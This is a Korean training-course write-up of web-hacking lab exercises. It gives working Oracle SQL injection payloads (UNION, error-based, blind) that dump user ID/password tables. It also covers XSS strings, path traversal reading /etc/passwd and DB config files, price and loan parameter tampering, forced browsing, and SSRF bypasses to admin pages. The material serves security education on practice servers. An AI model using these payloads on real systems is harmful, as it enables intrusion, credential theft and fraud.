Module Project 2
SQL Injection 가능 여부
싱글쿼터를 하나 삽입하니 에러가 나오는 것을 확인 할 수 있었다. -> 문자가 먹힌다는 증거

1. Union SQL Injection
Step 1. 칼럼 수 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동’ ORDER BY 1 -- |
![]() ![]() ![]() 결과 : 4번째 컬럼은 정렬이 안되어 컬럼의 개수는 3개인 것을 알 수 있다. |
Step 2. 각 컬럼 데이터 형 확인
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' union select type, type, type from all_tables -- |
![]() ![]() ![]() ![]() ![]() ![]() 결과 : 숫자, 문자, 문자 타입인 것을 알 수 있었다. |
Step 3. 테이블 목록 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동’ union select null, owner, table_name from all_tables -- |
사진 첨부![]() 결과 : 목록을 확인할 수 있었다. |
Step 4. 원하는 테이블 명 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동’ union select null, null, table_name from all_tab_columns where column_name like ‘PW’ – 매탄동’ union select null, null, table_name from all_tab_columns where column_name like ‘%PASS%’ – |
![]() ![]() 결과 : 원하는 LHSMEMBER3 테이블 명을 얻을 수 있었다. |
Step 5. 원하는 테이블의 컬럼명 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' union select null, null, column_name from all_tab_columns where table_name = 'LHSMEMBER3' -- |
![]() 결과 : 컬럼명을 알 수 있었다. |
Step 6. 원하는 데이터 탈취
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' union select null, ID, PW from LHSMEMBER3 – |
![]() 결과 : 각 ID와 PW를 얻을 수 있었다. |
2. Error Based SQL Injection
Step 1. 테이블 개수 확인
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES)) = 1 -- |
![]() 결과 : DRG-11701: 111 이라는 것을 통해 111개의 테이블이 있다는 것을 알 수 있었다. |
Step 2. 테이블 1개씩 추출
Step 2. 테이블 1개씩 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS RNUM FROM ALL_TABLES) WHERE RNUM = 1)) = 1 -- |
![]() ![]() ![]() ![]() 결과 : 1 – 60까지 실행한 결과 60번째 테이블 명이 LHSMEMBER3이라는 것을 알 수 있었다. |
Step 3. 찾은 테이블에서 컬럼 개수 확인
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'LHSMEMBER3')) = 1 -- |
![]() 결과 : LHSMEMBER3 테이블에 14개의 컬럼이 존재한다는 것을 알 수 있었다. |
Step 4. 원하는 컬럼 추출
Step 4. 원하는 컬럼 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'LHSMEMBER3') WHERE RNUM = 1)) = 1 -- |
1번째![]() 13번째 ![]() 14번째 ![]() 결과 : 13번째, 14번째 컬럼의 이름이 PW, ID라는 것을 알 수 있었다. |
Step 5. 원하는 컬럼에서 데이터 개수 확인
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(PW) FROM LHSMEMBER3)) = 1 -- 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(ID) FROM LHSMEMBER3)) = 1 -- |
ID![]() PW ![]() 결과 : ID와 PW 컬럼의 데이터 수는 139개라는 것을 알 수 있었다. |
Step 6. 원하는 데이터 추출
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT ID FROM (SELECT ID, ROWNUM AS RNUM FROM LHSMEMBER3) WHERE RNUM = 1)) = 1 -- 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT PW FROM (SELECT PW, ROWNUM AS RNUM FROM LHSMEMBER3) WHERE RNUM = 1)) = 1 -- |
ID![]() ![]() PW ![]() ![]() 결과 : 첫번째 ID, PW는 위와 같다는 사실을 알 수 있었다. |
Step ps. ID, PW 한번에 뽑기
|| ->SQL 에서는 문자열 합치기로 사용됨
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND CTXSYS.DRITHSX.SN(user, (SELECT ID || ',' || PW FROM (SELECT ROWNUM AS RNUM, ID, PW FROM LHSMEMBER3) WHERE RNUM = 1)) = 1 -- |
![]() ![]() ![]() 결과 : 1, 2, 3번째를 테스트 해본 결과 한 쌍으로 잘 나오는 것을 확인할 수 있었다. |
3. Blind SQL Injection
Step 1. 현재 접속중인 ID 찾기(1번째 글자)
쿼리 내용 | 요청 쿼리 |
입력값 | 매탄동' AND ASCII(SUBSTR((SELECT USER FROM (SELECT USER, ROWNUM AS RNUM FROM DBA_TABLES) WHERE RNUM = 1),1,1)) > 73 -- |
![]() ![]() 결과 : 72에서는 정상 동작하고 73은 안되는 것을 확인하여 첫 글자는 ‘I’ 이다. |
Step 2. 현재 접속중인 ID 찾기(2~7번째 글자)
쿼리 내용 | 요청 쿼리 |
입력값 | 버프 스위터를 통해 자동으로 찾기 |
![]() 2번째부터 1글자 ![]() ![]() 결과 : 77에서는 정상 동작하고 78은 안되는 것을 확인하여 두번째 글자는 ‘N’ 이다. |
쿼리 내용 | 요청 쿼리 |
입력값 | 버프 스위터를 통해 자동으로 찾기 |
7번째부터 1글자![]() ![]() 결과 : 66에서는 정상 동작하고 67은 안되는 것을 확인하여 일곱째 글자는 ‘C’ 이다. |
Step 3. 현재 접속중인 ID 찾기(8번째 글자)
쿼리 내용 | 요청 쿼리 |
입력값 | 버프 스위터를 통해 자동으로 찾기 |
8번째부터 1글자![]() ![]() 결과 : 8글자는 Length로 봤을 때 없다 최종 결과 : INFOSEC 이라는 7글자를 찾았다. |
인증과 식별이 분리된 구조에서의 BSQL
Step 1. 실제 ID와 PW를 알아내기
쿼리 내용 | 요청 쿼리 |
입력값 | 회원가입 하기 |
(회원가입한 것을 깜빡하고 캡쳐를 못해서 만든 뒤 다시 들어가서 캡쳐해서 사용 불가능이라는 창이 나왔습니다! -> dogyun이라는 아이디가 잘 만들어 졌다는 것을 확인하는 사진입니다.)![]() 결과 : 실제 어떤 아이디가 있는지 모르니 스스로 회원가입을 해보자 (ID : dogyun, PW: 비공개) |
Step 2. Login 창에서 SQL Injection이 되는지 확인하기
쿼리 내용 | 요청 쿼리 |
입력값 | ID = dogyun’ and ‘1’=’1’ --, PW = 1234 ID = dogyun’ and ‘1’=’2’ --, PW = 1234 |
![]() ![]() 결과 : and 구문을 통해서 다른 결과가 나오는 것을 볼 수 있었다. -> SQL Injection이 통함 |
XSS
1번문제
Step 0. 코드 분석

결과 : 입력값이 param is ~에 그대로 들어가기 때문에 alert가 실행된다. -> 굳이 “><” 처럼 쓰레기값을 처리할 필요 없이 그냥 <script></script>를 넣으면 된다.
Step 1. script 삽입
구분 | 내용 |
입력 파라미터 | “><script>alert(123)</script><” |
URL | http://elms2.skinfosec.co.kr:8141/lhs/quiz2/q1/?query=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E%3C%22 |
![]() 결과 : alert창을 띄울 수 있었다. |
구분 | 내용 |
입력 파라미터 | "><img src="" onerror=alert("hack")><" |
URL | http://elms2.skinfosec.co.kr:8141/lhs/quiz2/q1/?query=%22%3E%3Cimg+src%3D%22%22+onerror%3Dalert%28%22hack%22%29%3E%3C%22 |
![]() 결과 : alert창을 띄울 수 있었다. |
2번문제
Step 0. 코드 분석

결과 : 입력값을 넣고 Share status! 버튼을 누르면 submit으로 input태그 안의 입력값이 message에 들어가고 그 후 displayPosts() 함수를 통해 DB에 message를 저장 및 보여주는 방식으로 이루어져 있다.
하지만 blockquote 태그안에 존재하기 때문에 script문은 실행이 되지 않는다
Step 1. script 삽입
구분 | 내용 |
입력 파라미터 | <img src=”#” onclick=alert(123)> |
![]() ![]() 결과 : img 클릭시 alert창을 띄울 수 있었다. |
구분 | 내용 |
입력 파라미터 | <img src="" onerror=alert("hack")> |
![]() 결과 : alert창을 띄울 수 있었다. |
구분 | 내용 |
입력 파라미터 | <a href=javascript:alert(“456”)>XSS</a> |
![]() ![]() 결과 : XSS 클릭 시alert창을 띄울 수 있었다. |
3번문제
Step 0. 코드 분석



결과 : 클릭시 chooseTap(num) 함수가 실행되고 이미지 번호 별로 1,2,3 이라는 파라미터가 들어가는 것을 알 수 있었다. 또한 num이 url에 그대로 표시된다는 것을 알 수 있었다.
-> url에 스크립트 구문을 입력하면 될 것 같다.
Step 1. script 삽입
구분 | 내용 |
입력 파라미터 | ‘ onerror=”javascript:alert(123)”> |
URL | http://218.233.105.183:8141/lhs/quiz2/q3/#1'%20onerror=%22javascript:alert(123)%22%3E%3C/%3E |
![]() ![]() 결과 : alert창을 띄울 수 있었다. |
4번문제
Step 0. 코드 분석



결과 : 입력후 go 버튼 클릭시 그 안의 숫자만큼의 시간이 주어지고 img 태그의 Onload에 그 숫자가 기입되는 것을 알 수 있다 -> 이부분을 이용하여 공격하면 될 것 같다.
Step 1. script 삽입
구분 | 내용 |
입력 파라미터 | 20 ')" onclick=javascript:alert(123) /> <(' |
URL | http://218.233.105.183:8141/lhs/quiz2/q4/t.jsp?t=20+%27%29%22+onclick%3Djavascript%3Aalert%28123%29+%2F%3E+%3C%28%27 |
![]() ![]() 결과 : 우선 메인페이지로 이동하는 시간을 늘리기 위해 20을 주었고 onerror의 경우 src를 통해 에러를 발생시킬 수 없어 onclick으로 뒤를 이어 주어 사진을 클릭시 alert창을 띄울 수 있었다. |
구분 | 내용 |
입력 파라미터 | 20');" /> <script>alert(123)</script> <(' |
URL | http://218.233.105.183:8141/lhs/quiz2/q4/t.jsp?t=20%27%29%3B%22+%2F%3E+%3Cscript%3Ealert%28123%29%3C%2Fscript%3E+%3C%28%27 |
![]() ![]() 결과 : 또한 그냥 바로 닫아주고 script 태그를 삽입해서도 alert 창을 띄울 수 있었다. |
File Download 취약점
Step 0. 취약점 분석
구분 | 내용 |
입력 파라미터 | server_file_name=../../../../../../../../etc/passwd&user_file_name=../../../../../../../../etc/passwd |
URL | http://shanky.co.kr:38080/infosec/board/fileDown2.jsp?server_file_name=../../../../../../../../etc/passwd&user_file_name=../../../../../../../../etc/passwd |
사진 첨부![]() ![]() ![]() 결과 : etc/passwd 파일을 다운받을 수 있었다. |
Step 1. WAS 경로 정보 획득
구분 | 내용 |
입력 파라미터 | server_file_name=../../../../../../../../../etc/profile&user_file_name=../../../../../../../../../etc/profile |
URL | http://shanky.co.kr:38080/infosec/board/fileDown2.jsp?server_file_name=../../../../../../../../../etc/profile&user_file_name=../../../../../../../../../etc/profile |
사진 첨부![]() 결과 : 톰캣 경로를 얻을 수 있었다. |
Step 2. DB 접속 정보 획득
구분 | 내용 |
입력 파라미터 | /infosec/board/fileDown2.jsp?server_file_name=../../../../../../../../usr/local/server/tomcat/webapps/infosec/META-INF/context.xml&user_file_name=../../../../../../../../usr/local/server/tomcat/webapps/infosec/META-INF/context.xml |
URL | http://shanky.co.kr:38080/infosec/board/fileDown2.jsp?server_file_name=../../../../../../../../usr/local/server/tomcat/webapps/infosec/META-INF/context.xml&user_file_name=../../../../../../../../usr/local/server/tomcat/webapps/infosec/META-INF/context.xml |
사진 첨부![]() 결과 : DB 접속 정보를 획득할 수 있었다. |
Step 3. DB 접속
구분 | 내용 |
사용 프로그램 | 오라클 디벨로퍼 |
사진 첨부![]() 결과 : DB에 접속할 수 있었다. |
Step 4. 정보 탈취
구분 | 내용 |
입력 쿼리 | SELECT lhsmember3.id, lhsmember3.pw, lhsmember3.email, lhsmember3.name, lhsmember3.idlevel FROM lhsmember3 |
사진 첨부![]() 결과 : 모든 user정보를 얻을 수 있었다. |
100원으로 구매하기
Step 0. 결제 과정 분석
사진 첨부

결과 : 전체적인 결제과정을 확인했고 결제 완료가 되기전에 조작을 하면 될 것 같았다.
Step 1. 코드 분석

결과 : 결제창으로 가기전에 프록시로 본 결과 POST형식으로 다양한 값들이 넘어가는 것을 알 수 있었고, 그 중 값과 관련된 값들이 usepoint,totalprice,price2정도 된다.
Step 2. script 삽입
구분 | 내용 |
파라미터 변조 | Useprice = 2762900 로 변경 |
사진 첨부![]() 결과 : 100원으로 구매할 수 있었다. |
공지사항에 글 작성 후 삭제
Step 0. 과정 분석


결과 : 우선 공지사항에는 작성하는 폼이 없다 -> 묻고답하기에는 있다 -> 묻고답하기에서 작성을 해보고 작성 과정을 살핀 후 이를 우회해보면 될 것 같다는 생각을 했다.
Step 1. 작성
구분 | 내용 |
입력 파라미터 | Notice/write |
URL | https://elms2.skinfosec.co.kr:8110/practice/practice12/notice/write |
사진 첨부![]() ![]() ![]() 결과 : 묻고 답하기에 write라는 것을 알게 되었고 이를 notice/write로 우회해봤더니 등록할 수 있게 되었다. |
Step 2. 삭제
구분 | 내용 |
입력 파라미터 | deletebyid?id=1553 |
URL | https://elms2.skinfosec.co.kr:8110/practice/practice12/notice/deletebyid?id=1553 |
사진 첨부![]() ![]() ![]() 결과 : 묻고 답하기에 deletebyid라는 것을 알게 되었고 이를 통해 1553번째 공지사항에 등록되어 있는 내 공지사항을 “deletebyid?id=1553”로 지울 수 있었다. |
10억원 대출받기
Step 1. Interest변경
구분 | 내용 |
입력 파라미터 | Interest = prompt(“interest change”, interest) |
사진 첨부![]() ![]() 결과 : 서버로 가는 interest값을 수정할 수 있었다. |
Step 2. 다시한번 변경
구분 | 내용 |
행동 | 암호화 전 breakpoint 설정 |
사진 첨부![]() ![]() 결과 : 자체적으로 js에서 상한이 정해져 있어 그대로 흘러가면 원상태가 된다 -> 암호화 되기 전에 값을 다시 변경할 수 있었다. |
Step 3. 진행 후 결과
구분 | 내용 |
입력 파라미터 | 그 후 그대로 과정에 맞게 진행 |
사진 첨부![]() 결과 : 10억원을 대출할 수 있었다. |
SSRF
1번
Step 0. 과정 분석
구분 | 내용 |
사진 첨부![]() 결과 : post방식으로 정보를 얻어오고 있다. |
Step 1. 파일 획득
구분 | 내용 |
입력 파라미터 | File=http://normalskinfosec.com:8080/include/db_conf.php&read=http://normalskinfosec.com:8080/include/db_conf.php |
사진 첨부![]() ![]() 결과 : 비밀번호를 얻을 수 있었다. |
2번
Step 0. 취약점 분석
구분 | 내용 |
사진 첨부![]() ![]() 결과 : 내용은 나오지만 내용을 가져온 기록이 안보이는 것으로 보아 내부 서버가 접속한 후 주는 방식으로 작동하는 것 같다 -> 취약점 발견 |
Step 1. 파일 획득
구분 | 내용 |
입력 파라미터 | https://bit.ly/3iV0PMM |
사진 첨부![]() ![]() ![]() 결과 : url을 우회하기 위해 shorten url을 이용해 변환후 쿼리를 보내면 위와같이 얻을 수 있었다. |
3번
Step 0. 취약점 분석
구분 | 내용 |
사진 첨부![]() ![]() ![]() 결과 : URL보기를 했을 때 url 뒤에 쿼리가 붙고 직접 url을 입력할 수 있었다. 또한 소스파일에 관리자 페이지 url이 주석처리 되어 있어 이 주소로 접속할 수 있겠다는 생각이 들었다. |
Step 1. 관리자 페이지 접속
구분 | 내용 |
입력 파라미터 | http://normalskinfosec3.com:8098/admin.php |
사진 첨부![]() ![]() 결과 : 관리자 페이지에 접속할 수 있었고 소스파일을 살펴본 결과 임시관리자 계정이 주석처리 되어 있다는 것을 알 수 있었다. |
Step 1. 관리자 페이지 로그인
구분 | 내용 |
입력 파라미터 | http://normalskinfosec3.com:8098/admin.php?login_id=adminID&login_pwd=adminPW |
사진 첨부![]() 위 : 관리자 페이지에서 로그인 한 결과 아래 : url 보기에서 로그인 한 결과 ![]() ![]() 결과 : 처음에 페이지에서 로그인을 했을 때 url이 변경되면서 admin파일을 찾을 수 없다는 오류를 보였지만 url에서 admin.php의 쿼리를 알 수 있었다. -> 이 쿼리를 사용해서 url보기 입력칸에 넣었더니 정상적으로 로그인 할 수 있었다. |
4번(중요)
Step 0. 취약점 분석
구분 | 내용 |
사진 첨부![]() ![]() 결과 : 사진확인하기를 누른 결과 data를 보내주고 있다 -> 파일을 입력했을 시 파일의 data를 보여줄 것 같다 -> 취약점 발견 |
Step 1. 관리자 페이지 접속
구분 | 내용 |
입력 파라미터 | http://elms2.skinfosec.co.kr:8099/ssrf_2/admin.php |
사진 첨부![]() 결과 : admin_login.php로 리다이렉트 되는 것을 알 수 있다. |
Step 2. 관리자 로그인 페이지 분석
구분 | 내용 |
입력 파라미터 | admin_login.php&url=http://elms2.skinfosec.co.kr:8099/ssrf_2/ |
사진 첨부![]() ![]() 결과 : admin_login.php에 admin계정을 알 수 있었다. |
Step 3. 관리자 페이지 로그인
구분 | 내용 |
입력 파라미터 | Id : adminuser, password : adminpassword |
사진 첨부![]() 결과 : admin.php에 접속할 수 있었다. |
Step 4. 관리자 페이지 분석
구분 | 내용 |
입력 파라미터 | admin.php&url=http://elms2.skinfosec.co.kr:8099/ssrf_2/ |
사진 첨부![]() ![]() 결과 : DB를 연결하는 코드를 발견 할 수 있었다. |
Step 5. DB 계정 찾기
구분 | 내용 |
입력 파라미터 | |
사진 첨부![]() ![]() ![]() ![]() ![]() ![]() 결과 : 모든 코드 위에 include한 소스파일이 있고 그 소스파일을 확인한 결과 class.db.php파일이 있다는 사실을 알았고, 그 파일을 이미지검색하여 데이터를 확인한 결과 db 아이디를 얻을 수 있었다. |